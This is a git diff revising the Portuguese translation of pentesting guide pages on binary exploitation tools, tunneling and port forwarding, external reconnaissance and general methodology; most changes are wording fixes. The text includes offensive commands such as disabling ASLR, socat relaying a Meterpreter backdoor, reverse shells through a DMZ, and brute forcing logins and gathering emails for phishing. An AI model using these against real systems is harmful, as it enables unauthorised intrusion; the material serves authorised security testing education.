diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md
index af6558342..a12de0f01 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md
@@ -121,18 +121,18 @@ gef➤ pattern search 0x6261617762616176
#### Endereços iguais no GDB
-Ao depurar, o GDB terá **endereços ligeiramente diferentes dos usados pelo binário quando executado.** Você pode fazer com que o GDB tenha os mesmos endereços fazendo:
+Enquanto depurando, o GDB terá **endereços ligeiramente diferentes dos usados pelo binário quando executado.** Você pode fazer com que o GDB tenha os mesmos endereços fazendo:
- `unset env LINES`
- `unset env COLUMNS`
- `set env _=` _Coloque o caminho absoluto para o binário_
-- Exploit o binário usando a mesma rota absoluta
+- Explore o binário usando a mesma rota absoluta
- `PWD` e `OLDPWD` devem ser os mesmos ao usar o GDB e ao explorar o binário
#### Backtrace para encontrar funções chamadas
Quando você tem um **binário vinculado estaticamente**, todas as funções pertencerão ao binário (e não a bibliotecas externas). Nesse caso, será difícil **identificar o fluxo que o binário segue para, por exemplo, solicitar entrada do usuário.**\
-Você pode identificar facilmente esse fluxo **executando** o binário com **gdb** até que seja solicitado a entrada. Em seguida, pare-o com **CTRL+C** e use o comando **`bt`** (**backtrace**) para ver as funções chamadas:
+Você pode facilmente identificar esse fluxo **executando** o binário com **gdb** até que seja solicitado a entrada. Em seguida, pare-o com **CTRL+C** e use o comando **`bt`** (**backtrace**) para ver as funções chamadas:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@@ -141,17 +141,17 @@ gef➤ bt
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
-### Servidor GDB
+### GDB server
`gdbserver --multi 0.0.0.0:23947` (no IDA você deve preencher o caminho absoluto do executável na máquina Linux e na máquina Windows)
## Ghidra
-### Encontrar offset da pilha
+### Find stack offset
**Ghidra** é muito útil para encontrar o **offset** para um **buffer overflow graças às informações sobre a posição das variáveis locais.**\
Por exemplo, no exemplo abaixo, um buffer flow em `local_bc` indica que você precisa de um offset de `0xbc`. Além disso, se `local_10` for um canary cookie, isso indica que para sobrescrevê-lo a partir de `local_bc` há um offset de `0xac`.\
-NAN;_Remember que os primeiros 0x08 de onde o RIP é salvo pertencem ao RBP._
+_Remember que os primeiros 0x08 de onde o RIP é salvo pertencem ao RBP._
.png>)
@@ -159,13 +159,13 @@ Por exemplo, no exemplo abaixo, um buffer flow em `local_bc` indica que você pr
```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
-Obtenha todos os opcodes executados no programa.
+Get every opcode executed in the program.
## GCC
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile sem proteções\
-NAN;**-o** --> Saída\
-NAN;**-g** --> Salvar código (GDB poderá vê-lo)\
+**-o** --> Saída\
+**-g** --> Salvar código (GDB poderá vê-lo)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Para desativar o ASLR no linux
**Para compilar um shellcode:**\
@@ -174,14 +174,14 @@ Obtenha todos os opcodes executados no programa.
## Objdump
-**-d** --> **Desmontar** seções executáveis (ver opcodes de um shellcode compilado, encontrar ROP Gadgets, encontrar endereço de função...)\
-NAN;**-Mintel** --> Sintaxe **Intel**\
-NAN;**-t** --> Tabela de **Símbolos**\
-NAN;**-D** --> **Desmontar tudo** (endereço de variável estática)\
-NAN;**-s -j .dtors** --> seção dtors\
-NAN;**-s -j .got** --> seção got\
+**-d** --> **Desmontar executável** seções (ver opcodes de um shellcode compilado, encontrar ROP Gadgets, encontrar endereço de função...)\
+**-Mintel** --> Sintaxe **Intel**\
+**-t** --> Tabela de **Símbolos**\
+**-D** --> **Desmontar tudo** (endereço de variável estática)\
+**-s -j .dtors** --> seção dtors\
+**-s -j .got** --> seção got\
-D -s -j .plt --> seção **plt** **decompilada**\
-NAN;**-TR** --> **Relocações**\
+**-TR** --> **Relocações**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Endereço de "puts" para modificar no GOT\
**objdump -D ./exec | grep "VAR_NAME"** --> Endereço ou uma variável estática (essas são armazenadas na seção DATA).
@@ -191,7 +191,7 @@ Obtenha todos os opcodes executados no programa.
2. Execute `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\ --quiet
-## Mais
+## More
**ldd executable | grep libc.so.6** --> Endereço (se ASLR, então isso muda toda vez)\
**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop para ver se o endereço muda muito\
diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md
index 3711ad05e..c8dcfa0bf 100644
--- a/src/generic-hacking/tunneling-and-port-forwarding.md
+++ b/src/generic-hacking/tunneling-and-port-forwarding.md
@@ -5,7 +5,7 @@
## Dica do Nmap
> [!WARNING]
-> **ICMP** e **SYN** scans não podem ser tunelados através de proxies socks, então devemos **desativar a descoberta de ping** (`-Pn`) e especificar **scans TCP** (`-sT`) para que isso funcione.
+> **ICMP** e **SYN** scans não podem ser tunelados através de proxies socks, então devemos **desativar a descoberta por ping** (`-Pn`) e especificar **scans TCP** (`-sT`) para que isso funcione.
## **Bash**
@@ -55,7 +55,7 @@ Porta Local --> Host comprometido (SSH) --> Onde quer que seja
```bash
ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy)
```
-### Encaminhamento de Porta Reversa
+### Reverse Port Forwarding
Isso é útil para obter shells reversos de hosts internos através de uma DMZ para o seu host:
```bash
@@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
```
## SSHUTTLE
-Você pode **túnel** via **ssh** todo o **tráfego** para uma **sub-rede** através de um host.\
+Você pode **tunneling** via **ssh** todo o **tráfego** para uma **sub-rede** através de um host.\
Por exemplo, encaminhando todo o tráfego que vai para 10.10.10.0/24
```bash
pip install sshuttle
@@ -152,9 +152,9 @@ rportfwd stop [bind port]
```
Para notar:
-- O **reencaminhamento de porta reversa do Beacon** é projetado para **túnel de tráfego para o Servidor da Equipe, não para relatar entre máquinas individuais**.
+- O **reencaminhamento de porta reverso do Beacon** é projetado para **túnel de tráfego para o Servidor da Equipe, não para relatar entre máquinas individuais**.
- O tráfego é **tuneado dentro do tráfego C2 do Beacon**, incluindo links P2P.
-- **Privilégios de administrador não são necessários** para criar reencaminhamentos de porta reversa em portas altas.
+- **Privilégios de administrador não são necessários** para criar reencaminhamentos de porta reversos em portas altas.
### rPort2Port local
@@ -219,7 +219,7 @@ interface_add_route --name "ligolo" --route /,fork TCP4:: &
```bash
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
```
-### Meterpreter através de SSL Socat
+### Meterpreter através do SSL Socat
```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
@@ -356,7 +356,7 @@ C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
Agora podemos **conectar** à **vítima** via **RDP** usando **`mstsc.exe`**, e devemos receber um **prompt** informando que o **plugin SocksOverRDP está habilitado**, e ele irá **escutar** em **127.0.0.1:1080**.
-**Conecte-se** via **RDP** e faça o upload e execute o binário `SocksOverRDP-Server.exe` na máquina da vítima:
+**Conecte-se** via **RDP** e faça o upload e execute no computador da vítima o binário `SocksOverRDP-Server.exe`:
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
@@ -364,11 +364,11 @@ Agora, confirme em sua máquina (atacante) que a porta 1080 está escutando:
```
netstat -antb | findstr 1080
```
-Agora você pode usar [**Proxifier**](https://www.proxifier.com/) **para fazer proxy do tráfego através dessa porta.**
+Agora você pode usar [**Proxifier**](https://www.proxifier.com/) **para fazer proxy do tráfego através daquela porta.**
## Proxificar Aplicativos GUI do Windows
-Você pode fazer aplicativos GUI do Windows navegarem através de um proxy usando [**Proxifier**](https://www.proxifier.com/).\
+Você pode fazer com que aplicativos GUI do Windows naveguem através de um proxy usando [**Proxifier**](https://www.proxifier.com/).\
Em **Profile -> Proxy Servers** adicione o IP e a porta do servidor SOCKS.\
Em **Profile -> Proxification Rules** adicione o nome do programa a ser proxificado e as conexões para os IPs que você deseja proxificar.
@@ -392,7 +392,7 @@ Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222::443
```
-Agora, se você configurar, por exemplo, no vítima o serviço **SSH** para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\
+Agora, se você configurar, por exemplo, no alvo o serviço **SSH** para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\
Você também poderia usar um **meterpreter** que se conecta a localhost:443 e o atacante está escutando na porta 2222.
## YARP
@@ -480,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
## ngrok
[**ngrok**](https://ngrok.com/) **é uma ferramenta para expor soluções à Internet em uma linha de comando.**\
-NAN;_Exposition URI são como:_ **UID.ngrok.io**
+_Exposition URI são como:_ **UID.ngrok.io**
### Instalação
@@ -496,7 +496,7 @@ chmod a+x ./ngrok
**Documentação:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
-_É também possível adicionar autenticação e TLS, se necessário._
+_Também é possível adicionar autenticação e TLS, se necessário._
#### Tunneling TCP
```bash
@@ -511,12 +511,12 @@ _É também possível adicionar autenticação e TLS, se necessário._
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
-#### Captura de chamadas HTTP
+#### Sniffing HTTP calls
-_Util útil para XSS, SSRF, SSTI ..._\
+_Uso útil para XSS, SSRF, SSTI ..._\
Diretamente do stdout ou na interface HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
-#### Tunelamento de serviço HTTP interno
+#### Tunneling internal HTTP service
```bash
./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
index 7d6e5254d..72f0527a3 100644
--- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -34,7 +34,7 @@ Você pode **pesquisar** pelo **nome** da empresa, por **IP** ou por **domínio*
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
-Além disso, a enumeração de subdomínios do [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** agrega e resume automaticamente os ASNs no final da varredura.
+Além disso, a enumeração de subdomínios do [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** agrega e resume automaticamente os ASNs ao final da varredura.
```bash
bbot -t tesla.com -f subdomain-enum
...
@@ -57,7 +57,7 @@ Você pode encontrar o IP e ASN de um domínio usando [http://ipv4info.com/](htt
### **Procurando vulnerabilidades**
Neste ponto, sabemos **todos os ativos dentro do escopo**, então, se você tiver permissão, poderia lançar algum **scanner de vulnerabilidades** (Nessus, OpenVAS) sobre todos os hosts.\
-Além disso, você poderia lançar alguns [**scans de portas**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e dependendo do que você encontrar, você deve** dar uma olhada neste livro sobre como realizar pentesting em vários serviços possíveis em execução.\
+Além disso, você poderia lançar alguns [**scans de porta**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e, dependendo do que você encontrar, deve** dar uma olhada neste livro sobre como realizar pentesting em vários serviços possíveis em execução.\
**Além disso, pode valer a pena mencionar que você também pode preparar algumas listas de** nomes de usuário **e** senhas **padrão e tentar** bruteforçar serviços com [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domínios
@@ -66,11 +66,11 @@ Além disso, você poderia lançar alguns [**scans de portas**](../pentesting-ne
_Por favor, note que nas técnicas propostas a seguir você também pode encontrar subdomínios e que essa informação não deve ser subestimada._
-Primeiramente, você deve procurar pelo(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_.
+Primeiro de tudo, você deve procurar o(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_.
### **DNS Reverso**
-Como você encontrou todos os intervalos de IP dos domínios, poderia tentar realizar **consultas de DNS reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS bem conhecido (1.1.1.1, 8.8.8.8)
+Como você encontrou todos os intervalos de IP dos domínios, poderia tentar realizar **consultas de dns reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS bem conhecido (1.1.1.1, 8.8.8.8)
```bash
dnsrecon -r -n #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@@ -155,13 +155,13 @@ Confira este [**artigo para mais informações**](https://swarm.ptsecurity.com/d
### Informações de Mail DMARC
-Você pode usar um site como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) ou uma ferramenta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **domínios e subdomínios que compartilham as mesmas informações de dmarc**.
+Você pode usar um site como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) ou uma ferramenta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **domínios e subdomínios compartilhando as mesmas informações de dmarc**.
### **Tomada Passiva**
Aparentemente, é comum que as pessoas atribuam subdomínios a IPs que pertencem a provedores de nuvem e, em algum momento, **percam esse endereço IP, mas se esqueçam de remover o registro DNS**. Portanto, apenas **criar uma VM** em uma nuvem (como Digital Ocean) você estará, na verdade, **assumindo alguns subdomínios**.
-[**Este post**](https://kmsec.uk/blog/passive-takeover/) explica uma história sobre isso e propõe um script que **cria uma VM no DigitalOcean**, **obtém** o **IPv4** da nova máquina e **busca no Virustotal por registros de subdomínio** que apontam para ela.
+[**Este post**](https://kmsec.uk/blog/passive-takeover/) explica uma história sobre isso e propõe um script que **cria uma VM no DigitalOcean**, **obtém** o **IPv4** da nova máquina e **busca no Virustotal por registros de subdomínio** apontando para ela.
### **Outras maneiras**
@@ -169,20 +169,20 @@ Aparentemente, é comum que as pessoas atribuam subdomínios a IPs que pertencem
**Shodan**
-Como você já sabe o nome da organização que possui o espaço de IP. Você pode pesquisar por esses dados no shodan usando: `org:"Tesla, Inc."` Verifique os hosts encontrados para novos domínios inesperados no certificado TLS.
+Como você já sabe o nome da organização que possui o espaço de IP. Você pode pesquisar por esses dados no shodan usando: `org:"Tesla, Inc."` Verifique os hosts encontrados em busca de novos domínios inesperados no certificado TLS.
-Você poderia acessar o **certificado TLS** da página principal, obter o **nome da Organização** e, em seguida, pesquisar esse nome dentro dos **certificados TLS** de todas as páginas da web conhecidas pelo **shodan** com o filtro: `ssl:"Tesla Motors"` ou usar uma ferramenta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
+Você poderia acessar o **certificado TLS** da página principal, obter o **nome da Organização** e, em seguida, pesquisar esse nome dentro dos **certificados TLS** de todas as páginas conhecidas pelo **shodan** com o filtro: `ssl:"Tesla Motors"` ou usar uma ferramenta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
-[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura **domínios relacionados** com um domínio principal e **subdomínios** deles, bastante incrível.
+[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura por **domínios relacionados** a um domínio principal e **subdomínios** deles, bastante incrível.
### **Procurando vulnerabilidades**
-Verifique se há alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas **perdeu a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa.
+Verifique por alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas tenha **perdido a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa.
Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/index.html#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo de quais serviços estão em execução, você pode encontrar neste livro algumas dicas para "atacá-los".\
-NAN;_Note que às vezes o domínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
+_Note que às vezes o domínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
## Subdomínios
@@ -250,7 +250,7 @@ vita -d tesla.com
```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
```
-Existem **outras ferramentas/APIs interessantes** que, mesmo não sendo diretamente especializadas em encontrar subdomínios, podem ser úteis para encontrá-los, como:
+Existem **outros ferramentas/APIs interessantes** que, mesmo não sendo diretamente especializadas em encontrar subdomínios, podem ser úteis para encontrar subdomínios, como:
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Usa a API [https://sonar.omnisint.io](https://sonar.omnisint.io) para obter subdomínios
```bash
@@ -282,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
-- [**gau**](https://github.com/lc/gau)**:** busca URLs conhecidas do Open Threat Exchange da AlienVault, da Wayback Machine e do Common Crawl para qualquer domínio dado.
+- [**gau**](https://github.com/lc/gau)**:** busca URLs conhecidas do Open Threat Exchange da AlienVault, da Wayback Machine e do Common Crawl para um domínio específico.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@@ -319,11 +319,11 @@ Este projeto oferece **gratuitamente todos os subdomínios relacionados a progra
Você pode encontrar uma **comparação** de muitas dessas ferramentas aqui: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
-### **DNS Brute force**
+### **Força bruta de DNS**
Vamos tentar encontrar novos **subdomínios** forçando servidores DNS usando possíveis nomes de subdomínio.
-Para esta ação, você precisará de algumas **listas de palavras comuns de subdomínios como**:
+Para essa ação, você precisará de algumas **listas de palavras comuns de subdomínios como**:
- [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
- [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@@ -331,11 +331,11 @@ Para esta ação, você precisará de algumas **listas de palavras comuns de sub
- [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
-E também IPs de bons resolvedores DNS. Para gerar uma lista de resolvedores DNS confiáveis, você pode baixar os resolvedores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrá-los. Ou você poderia usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
+E também IPs de bons resolvedores de DNS. Para gerar uma lista de resolvedores de DNS confiáveis, você pode baixar os resolvedores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrá-los. Ou você poderia usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
-As ferramentas mais recomendadas para brute-force DNS são:
+As ferramentas mais recomendadas para força bruta de DNS são:
-- [**massdns**](https://github.com/blechschmidt/massdns): Esta foi a primeira ferramenta que realizou um brute-force DNS eficaz. É muito rápida, no entanto, é propensa a falsos positivos.
+- [**massdns**](https://github.com/blechschmidt/massdns): Esta foi a primeira ferramenta que realizou uma força bruta de DNS eficaz. É muito rápida, no entanto, é propensa a falsos positivos.
```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
@@ -365,7 +365,7 @@ Após ter encontrado subdomínios usando fontes abertas e força bruta, você po
```bash
cat subdomains.txt | dnsgen -
```
-- [**goaltdns**](https://github.com/subfinder/goaltdns): Dado os domínios e subdomínios, gera permutações.
+- [**goaltdns**](https://github.com/subfinder/goaltdns): Dado os domínios e subdomínios, gere permutações.
- Você pode obter as permutações do goaltdns **wordlist** [**aqui**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
@@ -375,7 +375,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
- [**altdns**](https://github.com/infosec-au/altdns): Além de gerar permutações de subdomínios, ele também pode tentar resolvê-los (mas é melhor usar as ferramentas comentadas anteriormente).
-- Você pode obter a **wordlist** de permutações do altdns [**aqui**](https://github.com/infosec-au/altdns/blob/master/words.txt).
+- Você pode obter as permutações do altdns **wordlist** em [**aqui**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@@ -413,7 +413,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
### **VHosts / Hosts Virtuais**
-Se você encontrou um endereço IP contendo **uma ou várias páginas da web** pertencentes a subdomínios, você pode tentar **encontrar outros subdomínios com sites nesse IP** procurando em **fontes OSINT** por domínios em um IP ou **forçando nomes de domínio VHost nesse IP**.
+Se você encontrou um endereço IP contendo **uma ou várias páginas da web** pertencentes a subdomínios, você pode tentar **encontrar outros subdomínios com páginas nesse IP** procurando em **fontes OSINT** por domínios em um IP ou **forçando nomes de domínio VHost nesse IP**.
#### OSINT
@@ -459,7 +459,7 @@ Verifique possíveis [**subdomain takeovers**](../../pentesting-web/domain-subdo
Se o **subdomínio** estiver apontando para algum **bucket S3**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/index.html).
Se você encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/index.html#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços que estão em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
-NAN;_Note que às vezes o subdomínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
+_Note que às vezes o subdomínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
## IPs
@@ -474,7 +474,7 @@ Você também pode verificar domínios apontando para um endereço IP específic
### **Procurando por vulnerabilidades**
-**Varra todas as portas dos IPs que não pertencem a CDNs** (pois você provavelmente não encontrará nada interessante lá). Nos serviços em execução descobertos, você pode ser **capaz de encontrar vulnerabilidades**.
+**Varra todas as portas dos IPs que não pertencem a CDNs** (pois é altamente provável que você não encontre nada interessante lá). Nos serviços em execução descobertos, você pode ser **capaz de encontrar vulnerabilidades**.
**Encontre um** [**guia**](../pentesting-network/index.html) **sobre como escanear hosts.**
@@ -510,7 +510,7 @@ Você também precisará de listas de palavras de **palavras comuns usadas em bu
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
-Então, com essas palavras, você deve gerar **permutations** (ver [**Segunda Rodada de Brute-Force DNS**](#second-dns-bruteforce-round) para mais informações).
+Então, com essas palavras, você deve gerar **permutations** (ver a [**Segunda Rodada de Força Bruta DNS**](#second-dns-bruteforce-round) para mais informações).
Com as listas de palavras resultantes, você pode usar ferramentas como [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
@@ -531,7 +531,7 @@ Com os **domínios** e **subdomínios** dentro do escopo, você basicamente tem
### **Procurando vulnerabilidades**
-Emails serão úteis mais tarde para **brute-force em logins web e serviços de autenticação** (como SSH). Além disso, eles são necessários para **phishings**. Além disso, essas APIs fornecerão ainda mais **informações sobre a pessoa** por trás do email, o que é útil para a campanha de phishing.
+Emails serão úteis mais tarde para **forçar logins web e serviços de autenticação** (como SSH). Além disso, eles são necessários para **phishings**. Além disso, essas APIs fornecerão ainda mais **informações sobre a pessoa** por trás do email, o que é útil para a campanha de phishing.
## Vazamentos de Credenciais
@@ -572,7 +572,7 @@ Você pode usar a ferramenta [**Pastos**](https://github.com/carlospolop/Pastos)
Dorks do Google, embora antigos, são sempre úteis para encontrar **informações expostas que não deveriam estar lá**. O único problema é que o [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contém vários **milhares** de possíveis consultas que você não pode executar manualmente. Então, você pode pegar suas 10 favoritas ou pode usar uma **ferramenta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para executá-las todas**.
-_Observe que as ferramentas que esperam executar todo o banco de dados usando o navegador Google regular nunca terminarão, pois o Google irá bloquear você muito em breve._
+_Observe que as ferramentas que esperam executar todo o banco de dados usando o navegador regular do Google nunca terminarão, pois o Google irá bloquear você muito em breve._
### **Procurando vulnerabilidades**
@@ -596,11 +596,11 @@ Existem também serviços gratuitos que permitem que você **escaneie repositór
A **maioria das vulnerabilidades** encontradas por caçadores de bugs reside dentro de **aplicações web**, então, neste ponto, eu gostaria de falar sobre uma **metodologia de teste de aplicações web**, e você pode [**encontrar essas informações aqui**](../../network-services-pentesting/pentesting-web/index.html).
-Eu também quero fazer uma menção especial à seção [**Ferramentas de Scanners Automáticos de Web de Código Aberto**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), pois, se você não deve esperar que elas encontrem vulnerabilidades muito sensíveis, elas são úteis para implementá-las em **fluxos de trabalho para ter algumas informações iniciais da web.**
+Eu também quero fazer uma menção especial à seção [**Ferramentas de Scanners Automáticos de Web de código aberto**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), pois, se você não deve esperar que elas encontrem vulnerabilidades muito sensíveis, elas são úteis para implementá-las em **fluxos de trabalho para ter algumas informações iniciais da web.**
## Recapitulação
-> Parabéns! Neste ponto, você já realizou **toda a enumeração básica**. Sim, é básico porque muito mais enumeração pode ser feita (veremos mais truques mais tarde).
+> Parabéns! Neste ponto, você já realizou **toda a enumeração básica**. Sim, é básico porque muito mais enumeração pode ser feita (veremos mais truques depois).
Então você já:
diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md
index 2bc1530db..ce74f4951 100644
--- a/src/generic-methodologies-and-resources/pentesting-methodology.md
+++ b/src/generic-methodologies-and-resources/pentesting-methodology.md
@@ -7,7 +7,7 @@
-_Logos do Hacktricks projetados por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
+_Logos do Hacktricks desenhados por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
### 0- Ataques Físicos
@@ -31,7 +31,7 @@ A primeira coisa a fazer ao **procurar vulnerabilidades em um host** é saber qu
### **4-** [Procurando exploits de versão de serviço](../generic-hacking/search-exploits.md)
-Uma vez que você saiba quais serviços estão em execução, e talvez suas versões, você deve **procurar por vulnerabilidades conhecidas**. Talvez você tenha sorte e haja um exploit para lhe dar um shell...
+Uma vez que você saiba quais serviços estão em execução, e talvez suas versões, você deve **procurar por vulnerabilidades conhecidas**. Talvez você tenha sorte e haja um exploit que lhe dê um shell...
### **5-** Serviços de Pentesting
@@ -39,7 +39,7 @@ Se não houver nenhum exploit interessante para qualquer serviço em execução,
**Dentro deste livro você encontrará um guia para pentestar os serviços mais comuns** (e outros que não são tão comuns)**. Por favor, procure no índice à esquerda a seção _**PENTESTING**_ **(os serviços estão ordenados por suas portas padrão).**
-**Quero fazer uma menção especial à parte** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **(já que é a mais extensa).**\
+**Quero fazer uma menção especial à parte** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **(pois é a mais extensa).**\
Além disso, um pequeno guia sobre como [**encontrar vulnerabilidades conhecidas em software**](../generic-hacking/search-exploits.md) pode ser encontrado aqui.
